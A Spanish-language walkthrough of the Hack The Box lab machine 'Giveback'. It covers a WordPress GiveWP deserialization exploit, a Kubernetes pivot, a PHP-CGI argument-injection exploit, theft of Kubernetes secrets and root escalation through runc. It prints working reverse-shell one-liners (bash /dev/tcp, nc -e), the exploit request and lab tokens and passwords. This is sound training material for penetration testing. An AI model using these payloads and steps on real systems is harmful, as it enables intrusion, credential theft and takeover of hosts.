Descripción

Giveback es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Plugin de un blog de WordPress vulnerable a inyección de objectos PHP que lleva a la ejecución remota de comandos en un contenedor de Kubernetes
  • Enumeración de red de Kubernetes para encontrar otros contenedores
  • Pivote de contenedor mediante vulnerabilidad de ejecución de comandos de PHP-CGI
  • Uso de una cuenta de servicio de Kubernetes para leer secretos que contienen contraseñas
  • Reutilización de contraseña para usuario Linux permite crear una terminal en la máquina Linux host
  • Recuperación de contraseña mediante ejecutable personalizado mediante enumeración
  • Escalada de privilegios mediante un comando runc protegido con una contraseña encontrada previamente

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.188.129.

$ ping -c 3 10.129.188.129
PING 10.129.188.129 (10.129.188.129) 56(84) bytes of data.
64 bytes from 10.129.188.129: icmp_seq=1 ttl=63 time=48.0 ms
64 bytes from 10.129.188.129: icmp_seq=2 ttl=63 time=48.3 ms
64 bytes from 10.129.188.129: icmp_seq=3 ttl=63 time=47.3 ms

--- 10.129.188.129 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.325/47.855/48.257/0.391 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.188.129 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.188.129
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds

Obtenemos dos puertos abiertos, 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión de servicio y scripts.

$ nmap 10.129.188.129 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.188.129
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open  http    nginx 1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-server-header: nginx/1.28.0
|_http-generator: WordPress 6.8.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

Obtenemos el servicio SSH y el servicio HTTP. Encontramos el subdominio giveback.htb, lo añadimos al archivo /etc/hosts.

echo "10.129.188.129 giveback.htb" | sudo tee -a /etc/hosts

Después de abrir la página, encontramos un blog de WordPress sobre donaciones. En la página del artículo It's the beginning of a new chapter encontramos el enlace a la página de donaciones, http://giveback.htb/donations/the-things-we-need/ y un comentario que hace referencia a EKS (Amazon Elastic Kubernetes Services). Tomamos nota de la firma del comentario del administrador, babywyrm. Al moverse a la página de donaciones, encontramos que podemos hacer una Test Donation o una Offline Donation. Movemos a enumerar el plugin que está soportando esta funcionalidad con la herramienta wp-scan.

$ wpscan --url giveback.htb
...
[+] give
 | Location: http://giveback.htb/wp-content/plugins/give/
 | [!] The version is out of date, the latest version is 4.12.0
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By:
 |  Urls In 404 Page (Passive Detection)
 |  Meta Tag (Passive Detection)
 |  Javascript Var (Passive Detection)
 |
 | Version: 3.14.0 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://giveback.htb/wp-content/plugins/give/assets/dist/css/give.css?ver=3.14.0
 | Confirmed By:
 |  Meta Tag (Passive Detection)
 |   - http://giveback.htb/, Match: 'Give v3.14.0'
 |  Javascript Var (Passive Detection)
 |   - http://giveback.htb/, Match: '"1","give_version":"3.14.0","magnific_options"'
 ...

Encontramos que la página está utilizando el plugin GiveWP, en su versión 3.14.0GiveWP es un plugin de donaciones para WordPress y proporciona una plataforma poderosa de donaciones optimizada para dar en línea que es fácil de usar para principiantes y flexible para desarrolladores para crear sus propias experiencias únicas de donaciones. Esta versión es vulnerable a una inyección de objeto PHP en todas las versiones hasta, y incluyendo, 3.14.1 a través de la deserialización de entrada no confiable del parámetro give_title. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios, CVE-2024-5932. Tenemos una explicación técnica de la vulnerabilidad en la página Wordfence.

Explotación

Tenemos una prueba de concepto de la vulnerabilidad construida por EQSTLab en GitHub, por lo que iniciamos el puerto TCP de escucha con el comando nc -nvlp 1234 y luego activamos la vulnerabilidad con la PoC para activar la vulnerabilidad de Ejecución de Comando Remoto y una terminal inversa hacia la máquina se creará.

$ nc -nvlp 1234
$ git clone https://github.com/EQSTLab/CVE-2024-5932
$ cd CVE-2024-5932
$ virtualenv .env
$ . .env/bin/activate
$ pip install -r requirements.txt
$ python3 CVE-2024-5932-rce.py -u "http://giveback.htb/donations/the-things-we-need/" -c "bash -c 'bash -i >& /dev/tcp/10.10.14.60/1234 0>&1'"

Recibimos la terminal inversa como usuario desconocido con 1001 UID, actualizamos la terminal.

$ nc -nvlp 1234                  
listening on [any] 1234 ...
connect to [10.10.14.60] from (UNKNOWN) [10.129.188.129] 61769
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<-6c4b954999-q5qjs:/opt/bitnami/wordpress/wp-admin$ id
id
uid=1001 gid=0(root) groups=0(root),1001
<-6c4b954999-q5qjs:/opt/bitnami/wordpress/wp-admin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
<-6c4b954999-q5qjs:/opt/bitnami/wordpress/wp-admin$ ^Z
$ stty raw -echo; fg
I have no name!@beta-vino-wp-wordpress-6c4b954999-q5qjs:/opt/bitnami/wordpress/wp-admin$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Mirando a la dirección IP de la máquina y a las variables de entorno, encontramos que estamos dentro de un contenedor, específicamente uno de Kubernetes.

...-q5qjs:/opt/bitnami/wordpress/wp-admin$ hostname -I
10.42.1.198
...-q5qjs:/opt/bitnami/wordpress/wp-admin$ env
SHELL=bash
KUBERNETES_SERVICE_PORT_HTTPS=443
BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
WORDPRESS_SMTP_PASSWORD=
WORDPRESS_SMTP_FROM_EMAIL=
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT=443
WEB_SERVER_HTTP_PORT_NUMBER=8080
WORDPRESS_RESET_DATA_PERMISSIONS=no
KUBERNETES_SERVICE_PORT=443
WORDPRESS_EMAIL=user@example.com
WP_CLI_CONF_FILE=/opt/bitnami/wp-cli/conf/wp-cli.yml
WORDPRESS_DATABASE_HOST=beta-vino-wp-mariadb
MARIADB_PORT_NUMBER=3306
MODULE=wordpress
WORDPRESS_SMTP_FROM_NAME=FirstName LastName
HOSTNAME=beta-vino-wp-wordpress-6c4b954999-q5qjs
WORDPRESS_SMTP_PORT_NUMBER=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO=tcp
WORDPRESS_EXTRA_CLI_ARGS=
APACHE_BASE_DIR=/opt/bitnami/apache
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000
APACHE_VHOSTS_DIR=/opt/bitnami/apache/conf/vhosts
...

Al leer las líneas anteriores confirmamos que al menos tres contenedores existen: el WordPress en el que estamos, otro con un servidor MariaDB en el puerto 3306, y otro que contiene un servicio intranet legado en el puerto 5000. Vamos a utilizar la herramienta ligolo-ng para pivotar a la sub-red interna de Kubernetes desde nuestra máquina. Como el contenedor no tiene disponible la herramienta curl o wget, utilizaremos sockets para enviar los binarios a la máquina. Primero iniciamos un servidor para alojar el archivo y el servidor ligolo en nuestra máquina.

$ nc -nvlp 1235 < /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.2_linux_amd64
$ sudo ligolo-proxy -selfcert

Entonces descargamos el binario en el contenedor y lo ejecutamos para conectar al proxy.

...-q5qjs:/opt/bitnami/wordpress/wp-admin$ cd /tmp
...-q5qjs:/tmp$ bash -c 'exec 3<>/dev/tcp/10.10.14.60/1235; cat <&3 > ligolo-ng_agent_0.8.2_linux_amd64; exec 3>&-'
...-q5qjs:/tmp$ chmod +x ligolo-ng_agent_0.8.2_linux_amd64
...-q5qjs:/tmp$ ./ligolo-ng_agent_0.8.2_linux_amd64 -ignore-cert -connect 10.10.14.60:11601

Recibimos la conexión, creamos las rutas a la red y el túnel.

ligolo-ng » session
? Specify a session : 1 - Unknown@beta-vino-wp-wordpress-6c4b954999-q5qjs - 10.129.188.129:17487 - 46e2a05cdded
[Agent : Unknown@beta-vino-wp-wordpress-6c4b954999-q5qjs] » autoroute
? Select routes to add: 10.42.1.198/24
? Create a new interface or use an existing one? Create a new interface
INFO[0127] Generating a random interface name...        
INFO[0127] Using interface name sterlingpayback         
INFO[0127] Creating routes for sterlingpayback...       
? Start the tunnel? Yes
INFO[0128] Starting tunnel to Unknown@beta-vino-wp-wordpress-6c4b954999-q5qjs (46e2a05cdded) 

Entonces vamos a buscar con la herramienta nmap por contenedores con el puerto 5000 abierto.

$ nmap -sS -p 5000 10.42.1.0/24 --open
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.42.1.183
Host is up (0.068s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 10.42.1.187
Host is up (0.10s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 10.42.1.188
Host is up (0.10s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 10.42.1.193
Host is up (0.10s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 10.42.1.195
Host is up (0.10s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap done: 256 IP addresses (256 hosts up) scanned in 5.31 seconds

Encontramos cinco contenedores, enumeramos uno, .183.

$ nmap -sV -sC -p 5000 10.42.1.183        
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.42.1.183
Host is up (0.0063s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  http    nginx 1.24.0
|_http-title: GiveBack LLC Internal CMS
|_http-server-header: nginx/1.24.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.39 seconds

Encontramos que es un servidor web nginx, verificamos su contenido con el navegador web. Encontramos que la página es el sistema CMS interno de GiveBack LLC. Está utilizando CGI legado, lo cual puede llevar a vulnerabilidades. Solo dos recursos internos están disponibles, /cgi-bin/php-cgi y phpinfo.php. Encontramos un comentario en el código fuente HTML de la página.

<!DOCTYPE html>
<html>
<head>
  <title>GiveBack LLC Internal CMS</title>
  <!-- Developer note: phpinfo accessible via debug mode during migration window -->
  <style>
...

Efectivamente, si intentamos acceder a la página PHPInfo encontramos el mensaje Access restricted, ya que la página solo es accesible mediante el modo depuración. Podemos superar la limitación añadiendo el parámetro ?debug a la URL. Encontramos que el servidor está utilizando PHP 8.3.3. Esta versión es vulnerable a Ejecución de Comando Remoto a través de Inyección de Argumentos en PHP-CGI, ya que está utilizando el manejo de CGI estilo Windows, CVE-2024-4577. Al leer la descripción de la vulnerabilidad en Akamai, somos capaces de generar una terminal inversa hacia el contenedor legado. Abriremos un nuevo puerto de escucha en nuestra máquina con nc -nvlp 1235, y iniciaremos un nuevo escuchador en el proxy ligolo para redirigir la terminal desde la red del contenedor hacia nuestra máquina con el comando listener_add --addr 10.42.1.198:1235 --to 10.10.14.60:1235. Luego activamos la solicitud HTTP maliciosa:

$ curl -H 'Content-Type: application/x-www-form-urlencoded' --data 'sh -c "nc 10.42.1.198 1235 -e sh"' 'http://10.42.1.183:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input'

Recibimos una terminal inversa como el usuario root en el otro contenedor.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.14.60] 53746
sh -i
/var/www/html/cgi-bin # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Enumerando los montajes del contenedor, encontramos uno interesante, /run/secrets/kubernetes.io/serviceaccount. Encontramos que es una carpeta que contiene el nombre del namespace del pod, default, el certificado CA del punto final de la API de Kubernetes y el token de una cuenta de servicio con privilegios.

/var/www/html/cgi-bin # mount
...
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=262144k,inode64)
...
/var/www/html/cgi-bin # find /run/secrets/kubernetes.io/serviceaccount
...
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/ca.crt
/run/secrets/kubernetes.io/serviceaccount/token
/var/www/html/cgi-bin # cat /run/secrets/kubernetes.io/serviceaccount/namespace
default

/var/www/html/cgi-bin # cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ==
-----END CERTIFICATE-----

/var/www/html/cgi-bin # cat /run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzNzUzNDM3LCJpYXQiOjE3NjIyMTc0MzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZWU3MDdhODYtM2M2OS00ZGY3LWIxMjEtZWVmYmYwMDlmYjM4Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWdiOTc1IiwidWlkIjoiMDc5NDAzMjMtNjMyYi00NDA5LTkxMWItYzJmZmExZmJkY2E5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjIyMTA0NH0sIm5iZiI6MTc2MjIxNzQzNywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.fSlCF1s5ydESjyer7w8auACcK1q_iqXgR068of-mtRH3eltJuJC1ZiCrjgg3wFzl26W4-pFJOKkHm7dSLvTENV1lg4vDmIIwGvXSvRbz6c7IQG5UMSJfEK0DjztLMSSILVmFVd7OxJvSlri8LFzW959oze4LSQT7MPRL95KqiahOoxTWFc2OYGYQzPSnL6F25qkKdVQLxaPSqHT4Mp7rmY6Ph6Uw8cPOJXMk5l9oFURP8ElsQ_6gjZ6sq5iHdt1X32BUJvbbzPS8Mjnm8ugLHOL8kveHtQYdG73SLxuTHTd-gMZTPJ3hRWKSDKkpRvplQXTAaUM2Oj8yP4s8SHB6qA

Decodificando el token, un token JSON Web Token (JWT), encontramos que pertenece a la cuenta de servicio secret-reader-sa.

{
  "aud": [
    "https://kubernetes.default.svc.cluster.local",
    "k3s"
  ],
  "iss": "https://kubernetes.default.svc.cluster.local",
  "jti": "ee707a86-3c69-4df7-b121-eefbf009fb38",
  "kubernetes.io": {
    "namespace": "default",
    "node": {
      "name": "giveback.htb",
      "uid": "12a8a9cf-c35b-41f3-b35a-42c262e43046"
    },
    "pod": {
      "name": "legacy-intranet-cms-6f7bf5db84-gb975",
      "uid": "07940323-632b-4409-911b-c2ffa1fbdca9"
    },
    "serviceaccount": {
      "name": "secret-reader-sa",
      "uid": "72c3f0a5-9b08-438a-a307-b60874635a9a"
    },
  },
  "sub": "system:serviceaccount:default:secret-reader-sa"
}

Parece que esta cuenta puede leer secrets. Uno de los puertos de la API de Kubernetes es el 6443, que debería estar abierto en la máquina host de la red de Kubernetes, 10.42.1.1. Es cierto. Estamos no autorizados ya que no proporcionamos ningún token.

$ curl -k https://10.42.1.1:6443/
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}

Vamos a utilizar el token anterior para extraer valores de contraseña de los secretos almacenados del namespace default.

$ curl -s -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzNzMzMDM2LCJpYXQiOjE3NjIxOTcwMzYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZmE5NzA0NzItOTk2Mi00ZWQ5LTk4YzMtNWZkMjYxNzRjZmYwIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWdiOTc1IiwidWlkIjoiMDc5NDAzMjMtNjMyYi00NDA5LTkxMWItYzJmZmExZmJkY2E5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjIwMDY0M30sIm5iZiI6MTc2MjE5NzAzNiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.VuLR9WGaBdjWXY-OXE7QuALXqykjXnsccbIn5dsGnsa_dl1UHv9er3pQJi-LCFn7i2z0nS9-6ej57eVEl1RVpFzEm894qUgYQqLsdtazMM2SqTHjS2xR-d_mYuSeqS75QZBJ6TSMqGpyqwnNatiaQXirJ7SEURysik6n5w3XPbe7pzHMIVawcELKSnVTxzql8suiQVys-v5MWlufZ271laZLqyhaRzlKtQz8b22147KdsgnL0v8ua9pONzYJWqH4s7tMt5q-Lw2xZ5ek738tNAg5T8cPItt8U45p676Y0DUWET3K1vGw1W9CH3tVgHKUEfuWOpgbB6Z9eDFNF-2BPw' https://10.42.1.1:6443/api/v1/namespaces/default/secrets | jq | grep -E "password|PASS" 
                "f:mariadb-password": {},
                "f:mariadb-root-password": {}
        "mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
        "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
                "f:wordpress-password": {}
        "wordpress-password": "TzhGN0tSNXpHaQ=="
                "f:MASTERPASS": {}
        "MASTERPASS": "c2k5RkNuM29HOWd5bDBNUk91RGROSEVoNE9mdWhGeA=="

Extraímos cuatro secretos: para mariadb-password extraímos c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T o decodificado en Base64 sW5sp4spa3u7RLyetrekE4oS, para mariadb-root-password extraímos c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw== o decodificado en Base64 sW5sp4syetre32828383kE4oS, para wordpress-password extraímos TzhGN0tSNXpHaQ== o decodificado en Base64 O8F7KR5zGi, para MASTERPASS extraímos c2k5RkNuM29HOWd5bDBNUk91RGROSEVoNE9mdWhGeA== o decodificado en Base64 si9FCn3oG9gyl0MROuDdNHEh4OfuhFx.

Las contraseñas parecen haber sido generadas aleatoriamente, con la MASTERPASS y el nombre de usuario babywyrm podemos iniciar sesión en la máquina utilizando el protocolo SSH.

$ ssh babywyrm@giveback.htb  
babywyrm@giveback.htb's password: 
...
babywyrm@giveback:~$ id
uid=1000(babywyrm) gid=1000(babywyrm) groups=1000(babywyrm),4(adm),30(dip)

Post-Explotación

Podemos que podamos ejecutar como usuario root solo un comando, /opt/debug y está solicitando una contraseña.

babywyrm@giveback:~$ sudo -l
Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, timestamp_timeout=0,
    timestamp_timeout=20

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug
babywyrm@giveback:~$ sudo /opt/debug
[sudo] password for babywyrm: 
Validating sudo...
Please enter the administrative password: 

Incorrect password

Después de una enumeración reflexiva, encontramos que la contraseña es la cadena codificada en Base64 mariadb-passwordc1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T.

babywyrm@giveback:~$ sudo /opt/debug
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
NAME:
   runc - Open Container Initiative runtime
...

Encontramos que el comando debug está envolviendo el binario runc. Podemos usar el comando para elevar nuestras privilegios montando el directorio /root. Comenzamos creando el archivo config.json.

babywyrm@giveback:~$ mkdir runc
babywyrm@giveback:~$ cd runc/
babywyrm@giveback:~/runc$ sudo /opt/debug spec

Agregamos las siguientes líneas a la sección mounts del archivo:

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

También cambiamos la línea "readonly": true por "readonly": false Entonces creamos la carpeta rootfs y luego iniciamos el contenedor donde encontramos todos los archivos del sistema.

babywyrm@giveback:~/runc$ mkdir rootfs
babywyrm@giveback:~/runc$ sudo /opt/debug run container
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
# ls /root
HTB  audit__.sh  coredns  dns.sh  helm  iptables_rules.sh  kubeseal  phpcgi  python  root.txt  wordpress
# ls /root
HTB  audit__.sh  coredns  dns.sh  helm  iptables_rules.sh  kubeseal  phpcgi  python  root.txt  wordpress

Flags

En la terminal root podemos obtener los archivos user.txt y root.txt.

# cat /root/root.txt
<REDACTED>
# exit
babywyrm@giveback:~/runc$ cat /home/babywyrm/user.txt 
<REDACTED>